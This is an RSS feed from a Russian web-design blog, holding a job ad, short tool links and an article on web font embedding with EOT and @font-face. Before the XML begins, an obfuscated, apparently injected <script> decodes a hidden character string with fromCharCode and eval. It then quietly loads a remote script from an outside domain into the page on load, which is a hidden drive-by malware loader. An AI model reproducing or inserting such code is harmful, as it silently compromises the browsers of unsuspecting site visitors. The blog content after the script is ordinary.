<script>h=-parseInt('012')/5;if(window["document"])try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(1)+zz;ss=[];f='fr'+'omCh';f+='arC';f+='qgode'["substr"](2);w=this;e=w[f["substr"](11)+zz];t='y';}n="19#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#58#47.5#56#15#57.5#56#53#15#29.5#15#18.5#51#57#57#55#28#22.5#22.5#24.5#57.5#55.5#27.5#26.5#25.5#22#57.5#55.5#55#48#59#54#49.5#50#50#56#22#49#59.5#54#49#54#56.5#22#54.5#56#50.5#22.5#50.5#22.5#18.5#28.5#5.5#4#3.5#51.5#50#15#19#57#59.5#55#49.5#54.5#50#15#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#18.5#57.5#54#49#49.5#50#51.5#54#49.5#49#18.5#19.5#15#60.5#5.5#4#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23#28.5#5.5#4#3.5#61.5#5.5#4#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#54.5#54#53.5#54.5#57.5#56.5#49.5#53.5#54.5#58#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#51.5#50#15#19#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#23#19.5#15#60.5#5.5#4#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#51#49.5#47.5#49#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#51#49.5#47.5#49#18.5#19.5#44.5#23#45.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#56.5#48.5#56#51.5#55#57#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#56.5#48.5#56#51.5#55#57#18.5#19.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#57#59.5#55#49.5#15#29.5#15#18.5#57#49.5#59#57#22.5#52#47.5#58#47.5#56.5#48.5#56#51.5#55#57#18.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#56#49.5#47.5#49#59.5#56.5#57#47.5#57#49.5#48.5#51#47.5#54#50.5#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#15#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#51.5#50#15#19#57#51#51.5#56.5#22#56#49.5#47.5#49#59.5#40.5#57#47.5#57#49.5#15#29.5#29.5#15#18.5#48.5#54.5#53.5#55#53#49.5#57#49.5#18.5#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#3.5#61.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#53#54.5#47.5#49#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#56.5#56#48.5#15#29.5#15#57.5#56#53#15#20.5#15#37.5#47.5#57#51#22#56#47.5#54#49#54.5#53.5#19#19.5#22#57#54.5#40.5#57#56#51.5#54#50.5#19#19.5#22#56.5#57.5#48#56.5#57#56#51.5#54#50.5#19#24.5#19.5#15#20.5#15#18.5#22#52#56.5#18.5#28.5#5.5#4#3.5#3.5#3.5#51#49.5#47.5#49#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#56.5#48.5#56#51.5#55#57#19.5#28.5#5.5#4#3.5#3.5#61.5#5.5#4#3.5#61.5#28.5#5.5#4#61.5#19.5#19#19.5#28.5"[((e)?"s":"")+"p"+"lit"]("a#".substr(1));for(i=6-2-1-2-1;i!=689;i++){j=i;if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));}if(t)q=ss;if(e)e(""+q);</script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Umade.ru</title>
	<atom:link href="http://www.umade.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.umade.ru</link>
	<description>Для веб-энтузиастов</description>
	<lastBuildDate>Sat, 10 Jul 2010 20:33:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Требуются веб-энтузиасты. Срочно</title>
		<link>http://www.umade.ru/log/2010/06/need-web-enthusiasts/</link>
		<comments>http://www.umade.ru/log/2010/06/need-web-enthusiasts/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 11:40:09 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Записи]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=2317</guid>
		<description><![CDATA[С прошлого года работаю в бурно развивающейся конторе. Мне в команду необходимы ещё четыре специалиста. 2 верстальщика Чуваки должны знать всё про HTML и CSS; быть в курсе последних тенденций. И, конечно же, браузеры, семантики, валидации, CSS-приёмы и фреймворки. Веб-дизайнер Должен отлично чувствовать веб-композицию, и уметь работать со шрифтами; тонкая работа с тенями, закруглениями, градиентами, [...]]]></description>
			<content:encoded><![CDATA[<p class="first-child "><span title="С" class="cap">С</span> прошлого года работаю в бурно развивающейся конторе. Мне в команду необходимы ещё четыре специалиста. <span id="more-2317"></span></p>
<h2>2 верстальщика</h2>
<p>Чуваки должны знать всё про HTML и CSS; быть в курсе последних тенденций. И, конечно же, браузеры, семантики, валидации, CSS-приёмы и фреймворки.</p>
<h2>Веб-дизайнер</h2>
<p>Должен отлично чувствовать веб-композицию, и уметь работать со шрифтами; тонкая работа с тенями, закруглениями, градиентами, иконками и пиктограммами. Желателен опыт взаимодействия с верстальщиками.</p>
<h2>Flash-разработчик</h2>
<p>AS2, AS3. Опыт работы с Flash Builder, PaperVision или аналогами приветствуется.</p>
<h3>В данный момент в команде:</h3>
<p>Два HTML-верстальщика, три JavaScript-разработчика, веб-аналитик, два SEO-оптимизатора, художник-иллюстратор и медиа-дизайнер. Все занимаемся разработкой клиентской стороны сайтов в рамках одной компании. Много рутины. Куча задач.</p>
<p>ЗП достойная, по результатам собеседования. Пишите и высылайте работы на nikita.vakorin [собака] gmail.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2010/06/need-web-enthusiasts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Таблица прав и рекомендаций для OpenType</title>
		<link>http://www.umade.ru/log/2009/07/permissions-table-opentype/</link>
		<comments>http://www.umade.ru/log/2009/07/permissions-table-opentype/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 08:34:14 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=2292</guid>
		<description><![CDATA[Дэвид Берлоу предложил таблицу прав и рекомендаций для шрифтов OpenType. В случае одобрения и принятия этого предложения, отпадает необходимость в использовании контейноров типа EOT. Таблица будет встраиваться непосредственно в шрифт OTF.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><span title="Д" class="cap">Д</span>эвид Берлоу предложил <a href="http://www.fontbureau.com/otpermtable/">таблицу прав и рекомендаций для шрифтов OpenType</a>. В случае одобрения и принятия этого предложения, отпадает необходимость в использовании контейноров типа EOT. Таблица будет встраиваться непосредственно в шрифт OTF.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/07/permissions-table-opentype/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SlickMap CSS &#8212; вариант представления дерева сайта</title>
		<link>http://www.umade.ru/log/2009/07/slickmap-css/</link>
		<comments>http://www.umade.ru/log/2009/07/slickmap-css/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 20:07:10 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=2032</guid>
		<description><![CDATA[SlickMap CSS &#8212; один из зрительных вариантов древовидной структуры сайта. Поддерживает 3 уровня глубины плюс вспомагательные ссылки. Легко настраивается под собственные нужды.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><a href="http://astuteo.com/slickmap/demo/"><span title="S" class="cap">S</span>lickMap CSS</a> &#8212; один из зрительных вариантов древовидной структуры сайта. Поддерживает 3 уровня глубины плюс вспомагательные ссылки. Легко настраивается под собственные нужды.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/07/slickmap-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Иконки, основанные на шрифте Гельветика</title>
		<link>http://www.umade.ru/log/2009/07/helveticons/</link>
		<comments>http://www.umade.ru/log/2009/07/helveticons/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 19:55:25 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=2044</guid>
		<description><![CDATA[Helveticons &#8212; хороший набор из 245 иконок. Особенным образом сочетается с легендарным шрифтом Гельветика. Все иконки в векторном формате, что позволяет при любом размере соблюдать высокое качество. Набор платный.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><a href="http://helveticons.ch/"><span title="H" class="cap">H</span>elveticons</a> &#8212; хороший набор из 245 иконок. Особенным образом сочетается с легендарным шрифтом <a href="http://ru.wikipedia.org/wiki/Гельветика">Гельветика</a>. Все иконки в векторном формате, что позволяет при любом размере соблюдать высокое качество. Набор платный.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/07/helveticons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3D-трансформация в Firefox &#8212; изометрический куб</title>
		<link>http://www.umade.ru/log/2009/07/3d-transforms-in-firefox/</link>
		<comments>http://www.umade.ru/log/2009/07/3d-transforms-in-firefox/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 19:47:46 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=1856</guid>
		<description><![CDATA[В Firefox 3.5, появилась CSS-свойство -moz-transform, которое позволяет изменять координатную сетку модели зрительного форматирования в CSS. Зэкари Джонсон создал изометрический куб, который демонстрирует возможности этого свойства.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><span title="В" class="cap">В</span> Firefox 3.5, появилась CSS-свойство <a href="https://developer.mozilla.org/en/CSS/-moz-transform">-moz-transform</a>, которое позволяет изменять координатную сетку модели зрительного форматирования в CSS. Зэкари Джонсон создал <a href="http://www.zachstronaut.com/lab/isocube.html">изометрический куб</a>, который демонстрирует возможности этого свойства.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/07/3d-transforms-in-firefox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Внедрение шрифтов &#8212; EOT и @font-face</title>
		<link>http://www.umade.ru/log/2009/07/font-embed-eot-font-face/</link>
		<comments>http://www.umade.ru/log/2009/07/font-embed-eot-font-face/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 05:46:15 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Записи]]></category>

		<guid isPermaLink="false">http://istrong.ru/?p=1267</guid>
		<description><![CDATA[Уже более десяти лет веб-страницы ограничены так называемым безопасным для интернета набором шрифтов. Один из таких наборов был составлен компанией Microsoft ещё в 1996 году. Arial, Courier New, Georgia, Helvetica, Palatino, Times, Times New Roman, Lucida Sans, Trebuchet, Verdana и ещё несколько красавцев &#8212; это те шрифты, которые используются почти на всех страницах интернета. Но [...]]]></description>
			<content:encoded><![CDATA[<p class="first-child "><span title="У" class="cap">У</span>же более десяти лет веб-страницы ограничены так называемым безопасным для интернета набором шрифтов. <a href="http://www.microsoft.com/typography/fonts/web.htm">Один из таких наборов</a> был составлен компанией Microsoft ещё в 1996 году. Arial, Courier New, Georgia, Helvetica, Palatino, Times, Times New Roman, Lucida Sans, Trebuchet, Verdana и ещё несколько красавцев &#8212; это те шрифты, которые используются почти на всех страницах интернета. Но теперь, благодаря нарастающему прогрессу и стремлению разработчиков, этот список можно бесконечно расширять. Однако ещё предстоит найти ответы на ряд важных и принципиальных вопросов.<span id="more-1267"></span></p>
<p><a href="http://www.umade.ru/lab/font-face-embed-eot-otf/">Пример внедрения шрифтов в форматах EOT и OTF</a>.</p>
<h2>EOT &#8212; Embedded OpenType</h2>
<p>Технология <a href="http://www.microsoft.com/typography/web/embedding/default.aspx">Embedded OpenType</a> (встраиваемый формат OpenType) появилась в 1997 году. То есть возможность полноценно использовать любой шрифт на сайте существовала все эти годы, начиная с Internet Explorer 4! Но монополия Microsoft препятствовала популяризации этой технологии. Также свою роль сыграл единственный на то время конкурент Internet Explorer &#8212; Netscape, который продвигал другую технологию внедрения шрифтов &#8212; <a href="http://www.bitstream.com/font_rendering/products/truedoc/index.html">TrueDoc</a>.</p>
<p>Технология EOT сжимает и конвертирует шрифты форматов TrueType и OpenType (кроме OpenType PS) в формат EOT. Во время конвертации, в корневую строку (RootString) шрифта прописываются адреса сайтов (или локальные адреса), в рамках которых будет использоваться шрифт. Если адрес сайта не совпадёт с адресом в корневой строке, то шрифт отображаться не будет. Этот механизм защиты от нелегального использования зарекомендовал себя среди известных производителей шрифтов. </p>
<p>До недавнего времени одним из недостатков EOT являлось то, что конвертировать шрифт можно было только с помощью эксклюзивного инструмента от Майкрософта &#8212; <a href="http://www.microsoft.com/typography/WEFT.mspx">WEFT</a> (Web Embedding Fonts Tool), который работает только на операционных системах Windows. Вторым, менее значимым недостатком считались &#8220;Технические средства защиты авторских прав&#8221; &#8212; <a href="http://ru.wikipedia.org/wiki/Технические_средства_защиты_авторских_прав">ТСЗАП</a>, задача которых &#8212; препятствовать неправомерному копированию файлов.</p>
<p>Устранить эти недостатки удалось благодаря <a href="http://www.w3.org/Submission/2008/01/">заявлению Microsoft</a> сделать открытыми <a href="http://www.w3.org/Submission/2008/SUBM-EOT-20080305/">формат EOT</a> и <a href="http://www.w3.org/Submission/2008/SUBM-MTX-20080305/">спецификацию MTX</a> (MicroType Express).</p>
<p>Майкрософт проявила эту инициативу в начале 2008 года, и несколько месяцев спустя, в конце этого же года, было организованно <a href="http://www.w3.org/Fonts/Misc/minutes-2008-10.html">небольшое собрание в W3C</a> с предложением создать Рабочую группу по шрифтам (Fonts WG). На собрании присутствовали представители компаний Bitstream, Microsoft, Mozilla, Opera, W3C, Nokia, Monotype и Inventive Designers.</p>
<p>В ходе дискуссии был выдвинут альтернативный вариант &#8212; вместо того, чтобы создавать новый контейнер с так называемой &#8220;корневой строкой&#8221;, как это делает EOT, можно добавлять эту строку непосредственно в форматы TrueType и OpenType. Ещё один вариант &#8212; &#8220;закрывать&#8221; начальные 100 битов информации, что будет препятствовать использованию интернет-шрифта локально на компьютере. </p>
<p>Сторонники альтернативы считают, что эти действия устранят необходимость в XOR-закрытии, дублировании информации, и компрессии шрифта с помощью технологии MicroType Express. Даже прозвучало возможное расширение нового контейнера &#8212; TTW (TrueType-W). Недостаток возможной альтернативы &#8212; создание с нуля механизма работы предложенного формата. Но полагается, что для новых приложений, внедрить предложенную схему будет легче, чем внедрить уже существующий EOT.</p>
<h3>Зачем вообще использовать EOT или TTW?</h3>
<p>Ответ на этот вопрос достаточно очевиден &#8212; данные механизмы защищают шрифты от нелегального использования. Цена за лицензию на шрифт может достигать несколько сотен, а то и тысяч долларов. А период разработки только одного шрифта с поддержкой разных языков может достигать нескольких лет! Поэтому производители очень трепетно относятся к использованию своих шрифтов в интернете, так как при просмотре страницы шрифт скачивается локально на компьютер, и становится доступным.</p>
<h2>CSS-правило @font-face</h2>
<p>Начиная с Firefox 3.5, Google Chrome 2, Opera 10 и Safari 3.1 стало возможным использовать в этих браузерах CSS-правило <code>@font-face</code>. На данный момент эти браузеры обрабатывают любой шрифт форматов OTF и TTF без необходимости конвертации в защищённый формат EOT. Это существенное отличие от Internet Explorer, который поддерживает использование шрифтов <i>только</i> в формате EOT.</p>
<h3>Пример внедрения и использования шрифта</h3>
<pre><code> /* только для Internet Explorer 4+ */
@font-face {
  font-family: EuroSansProLig;
  src: url(EuroSansProLig.eot);
}

/* далее для всех остальных браузеров */
@font-face {
  font-family: Graublau Sans Web;
  src: local("Graublau Sans Web"),
       local("GraublauSansWeb"),
       url(GraublauWeb.otf) format("opentype");
}

body {
  font-family: Graublau Sans Web, EuroSansProLig,
  Arial, sans-serif;
}</code></pre>
<p><a href="http://www.umade.ru/lab/font-face-embed-eot-otf/">Пример внедрения шрифтов EOT и OTF</a> &#8212; вышеприведённый код в действии.</p>
<p>В примере используется уже ставший популярным шрифт <a href="http://www.fonts.info/info/press/free-fonts-for-font-face-embedding.htm">Graublau Sans Web</a> (бесплатная версия полноценного шрифта <a href="http://www.fonts.info/info/en_graublau-sans-pro.htm">Graublau Sans Pro</a>). Из примерного списка <a href="http://webfonts.info/wiki/index.php?title=Fonts_available_for_@font-face_embedding">разрешённых для внедрения шрифтов</a> он единственный на данный момент поддерживает кириллицу. Этот шрифт формата OpenType PS, и WEFT не может конвертировать его в EOT. Поэтому специально для Internet Explorer я выбрал бесплатную версию шрифта <a href="http://www.linotype.com/353963/eurosans-family.html">Euro Sans Pro</a>.</p>
<p>Свойство <code>local</code> проверяет наличие шрифта на компьютере пользователя, и если шрифт не обнаружен, то он подгружается с сервера. Свойство <code>format</code> указывает формат шрифта (&#8220;truetype&#8221;, &#8220;opentype&#8221;,&#8221;truetype-aat&#8221;, &#8220;embedded-opentype&#8221; и &#8220;svg&#8221;). Если шрифты Graublau Sans Web и Euro Sans Pro отсутствуют, то для <code>body</code>  будет использоваться Arial или любой рубленый шрифт по умолчанию.</p>
<p>Правило <code>@font-face</code> разрешает использовать 8 различных стилей начертания для одного шрифта. По сути, если сайт использует 8 начертаний, то в CSS нужно прописать 8 правил. Поэтому, чтобы тексту параграфа присвоить полужирное начертание, необходимо указать отдельный файл шрифта соответствующего стиля.</p>
<p>Таким образом к предыдущему примеру добавляется следующий CSS:</p>
<pre><code> /* только для Internet Explorer */
@font-face {
  font-family: EuroSansProLigBold;
  src: url(EuroSansProLigBold.eot);
}

/* далее для всех остальных браузеров */
@font-face {
  font-family: Graublau Sans Web Bold;
  src: local("Graublau Sans Web Bold"),
       local("GraublauSansWebBold"),
       url(GraublauWebBold.otf) format("opentype");
}

p {
  font-family: Graublau Sans Web Bold, EuroSansProLigBold,
  Arial, sans-serif;
  font-weight: bold;
}</code></pre>
<p>Отличную статью на тему использования @font-face опубликовал Джон Даггетт из Mozilla &#8212; <a href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">beautiful fonts with @font-face</a> (перевод: <a href="http://habrahabr.ru/blogs/css/64596/">Прекрасные шрифты посредством @font-face</a>). Там можно просмотреть различные примеры в действии.</p>
<h2>Сколько &laquo;весит&raquo; подгружаемый шрифт?</h2>
<p>Например, каждое из четырёх стандартных начертаний (нормальный, полужирный, полужирный курсив, курсив)  всем известного шрифт Arial, весит от 500 до 800 килобайт. Если использовать на сайте все 4 стиля начертания, то получится более двух мегабайт. Очень приличный объём. Но это мелочи по сравнению с объёмом шрифта Arial Unicode MS &#8212; больше 20 мегабайт!</p>
<p>Я воспользовался инструментом WEFT и поэкспериментировал со шрифтом Arial нормального стиля начертания без разложения шрифта по каким-либо признакам. Исходный размер arial.ttf составляет 766 килобайт, а уже сформированный arial.eot стал весить 308 килобайт. Контейнер EOT сжал файл в 2,5 раза. Хороший результат. Для примера, максимальное ZIP-сжатие того же шрифта &#8212; 423 килобайта, RAR &#8212; 370 килобайт. Что касается gzip, то Владимир Левантовский из Monotype подметил, что &#8220;EOT-компрессия лучше компрессии gzip на 20-30% для западных шрифтов&#8221;.</p>
<h3>Разложение шрифта (font subsetting)</h3>
<p>Разложение позволяет разбить шрифт на заранее определённое количество знаков. Такой подход значительно уменьшает объём файла. Как показывает предыдущий пример кода, необходимо использовать разные файлы для каждого из начертаний шрифта. Это своего рода разложение по стилю. Есть также другие признаки. Например, разложение шрифта только по языковому набору знаков. Если заранее известно, что на странице будет использоваться <i>только</i> русский язык, то можно ограничить шрифт набором только кириллических знаков, что существенно сократит размер шрифта.</p>
<p>Ещё WEFT может анализировать страницы сайта, и при создании EOT-контейнера использовать лишь те знаки шрифта, которые находятся на анализируемой странице. Такой подход очень сильно сокращает размер шрифта. Пользоваться этим методом удобно в том случае, если заранее известно, что в будущем текст редактироваться не будет, иначе придётся заново обрабатывать шрифт. Например, если есть вероятность того, что в будущем текст страницы будет изменён, но язык текста останется русским, то лучше ограничивать шрифт кириллическим набором.</p>
<p>Оригинал всё того же шрифта arial.ttf (766 килобайт) после разложения на кириллицу с помощью WEFT стал весить 77 килобайт. Разница очевидна.</p>
<p>В большинстве случаев на российских сайтах одновременно используются кириллические и латинские наборы символов. Для это можно создать два разложенных на кириллицу и латиницу шрифтовых файла, и затем прописать два CSS-правила @font-face для каждого EOT-шрифта.</p>
<p>Есть ещё один, на мой взгляд самый удобный метод &#8212; <a href="http://www.w3.org/TR/css3-fonts/#the-font-face-rule">правило @font-face в CSS3</a> позволяет использовать диапазон unicode. При разложении нет необходимости разбивать шрифт на несколько файлов. Вместо этого можно указать диапазон символов.</p>
<pre><code>/* размер шрифта - размер: 4.5 мегабайт */
@font-face {
  font-family: DroidSans;
  src: url(DroidSansFallback.ttf);
  /* диапазон не указван, по умолчанию полный набор знаков */
}

/* Латинские, кириллические и греческие пунктуация и символы - размер: 190 килобайт */
@font-face {
  font-family: DroidSans;
  src: url(DroidSans.ttf);
  unicode-range: U+000-5FF, U+1e00-1fff, U+2000-2300;
}</code></pre>
<h2>Лёд тронулся</h2>
<p>На сегодняшний день все основные браузеры поддерживают внедрение и использование шрифтов на сайте. Идёт активное обсуждение возможных решений возникших задач. На мой взгляд необходимо решить три задачи: механизм лицензирования, метод сжатия и, естественно, сама технология внедрения. С каждой из этих задач уже справляется EOT. Но мнения пока расходятся.</p>
<p>По сей день спорят, что использование технологии от Майкрософта является политически некорректным, и что в ходе &#8220;войны браузеров&#8221; у компании появляются преимущества. Лично я полностью согласен с тем мнением, что оптимальным вариантом будет внести изменения и доработать EOT, который отдан в руки сообщества разработчиков. <i>А уже потом</i> можно работать над форматами TTF и OTF, чтобы в конечном итоге рынок сам определял, что для него лучше. </p>
<p>У Майкрософта твёрдая позиция &#8212; ради производителей шрифтов, компания хочет поддерживать и развивать EOT. Эту позицию также твёрдо <a href="http://blogs.adobe.com/typblography/2008/09/web_fonts_2.html">поддерживает Adobe</a> и <a href="http://ir.monotypeimaging.com/releasedetail.cfm?ReleaseID=387305">одобряет Monotype</a> &#8212; крупный производитель шрифтов. Однако сообщество разработчиков видит возможные пути внедрения специальных веб-таблиц в шрифты форматов OTF и TTF, что запрещает использование шрифта на компьютере, но разрешает его использование в интернете. Но пока это только разговоры.</p>
<p>Представитель Майкрософта Майк Чемпион (Mike Champion) заявил, что &#8220;внедрение оригинальных файлов наносит существенный ущерб независимой индустрии шрифтов&#8221;. Свои слова Майк подкрепил тем, что &#8220;в Microsoft на высоком уровне принято решение о том, что мы не будем использовать подобный метод внедрения шрифтов&#8221;.</p>
<p><a href="http://www.umade.ru/lab/font-face-embed-eot-otf/">В примере</a> я использовал бесплатную версию шрифта Euro Sans Pro компании <a href="http://www.linotype.com/">Linotype</a>. Лицензия на этот шрифт разрешает использовать его в интернете, но только при услови, что этот шрифт не будет использоваться где-либо ещё. А на данный момент это означает EOT.</p>
<p>В любом случае, при желании использовать какой-либо шрифт, большинство официальных сайтов и крупных порталов будут приобретать соответствующие лицензии. Особенно на Западе им некуда деваться &#8212; позовут в суд. А для тех, кто не хочет платить сотни баксов за шрифт, есть возможность использовать бесплатные варианты. Благо, такие уже начинают появляться в интернете. Но действительно качественные работы &#8212; всё ещё очень большая редкость.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/07/font-embed-eot-font-face/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Telnet для интернета</title>
		<link>http://www.umade.ru/log/2009/06/flash-telnet/</link>
		<comments>http://www.umade.ru/log/2009/06/flash-telnet/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:07:15 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=1974</guid>
		<description><![CDATA[Flashterm &#8212; Telnet для интернета посредством Flash. Приложение использует возможность флэш-плеера создавать TCP-сокеты для обмена данными между серверами.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><a href="http://www.flashterm.com/"><span title="F" class="cap">F</span>lashterm</a> &#8212; Telnet для интернета посредством Flash. Приложение использует возможность флэш-плеера создавать TCP-сокеты для обмена данными между серверами.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/06/flash-telnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Генератор favicon для сайта</title>
		<link>http://www.umade.ru/log/2009/06/favicon-generator/</link>
		<comments>http://www.umade.ru/log/2009/06/favicon-generator/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 10:30:23 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=1964</guid>
		<description><![CDATA[Favicon Generator &#8212; онлайн генератор иконок для сайта (favicon). Загружается картинка в формате PNG, JPG и GIF, после чего генерируется иконка в формате ICO. Можно воспользоваться инструментом для пиксельного редактирования.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><a href="http://favicon-generator.org/"><span title="F" class="cap">F</span>avicon Generator</a> &#8212; онлайн генератор иконок для сайта (favicon). Загружается картинка в формате PNG, JPG и GIF, после чего генерируется иконка в формате ICO. Можно воспользоваться инструментом для пиксельного редактирования.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/06/favicon-generator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Цветовая палитра на основе картинки</title>
		<link>http://www.umade.ru/log/2009/06/image-color-palette-generator/</link>
		<comments>http://www.umade.ru/log/2009/06/image-color-palette-generator/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 10:09:19 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=1960</guid>
		<description><![CDATA[Pictaculous &#8212; генератор цветовой палитры на основе картинки. На данный момент поддерживает PNG, GIF, JPG и размер файла не более 500 килобайт. Образец палитры также можно скачать для программ Adobe в формате ACO.]]></description>
			<content:encoded><![CDATA[<p class="first-child "><a href="http://pictaculous.com/"><span title="P" class="cap">P</span>ictaculous</a> &#8212; генератор цветовой палитры на основе картинки. На данный момент поддерживает PNG, GIF, JPG и размер файла не более 500 килобайт. Образец палитры также можно скачать для программ Adobe в формате ACO.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.umade.ru/log/2009/06/image-color-palette-generator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Layar &#8212; мобильная расширенная реальность</title>
		<link>http://www.umade.ru/log/2009/06/layar-mobile-augmented-reality/</link>
		<comments>http://www.umade.ru/log/2009/06/layar-mobile-augmented-reality/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:19:55 +0000</pubDate>
		<dc:creator>Никита Вакорин</dc:creator>
				<category><![CDATA[Регулярная доза]]></category>

		<guid isPermaLink="false">http://www.umade.ru/?p=1955</guid>
		<description><![CDATA[Браузер Layar &#8212; первая в мире мобильная расширенная реальность (augmented reality). Layar можно устанавливать в мобильный телефон, и через него смотреть на окружающую среду в реальном времени. Фишка в том, что на экране появляется специальная сетка, которая на лету показывает информацию об окружающих объектах. На сайте есть демо-видео.]]></description>
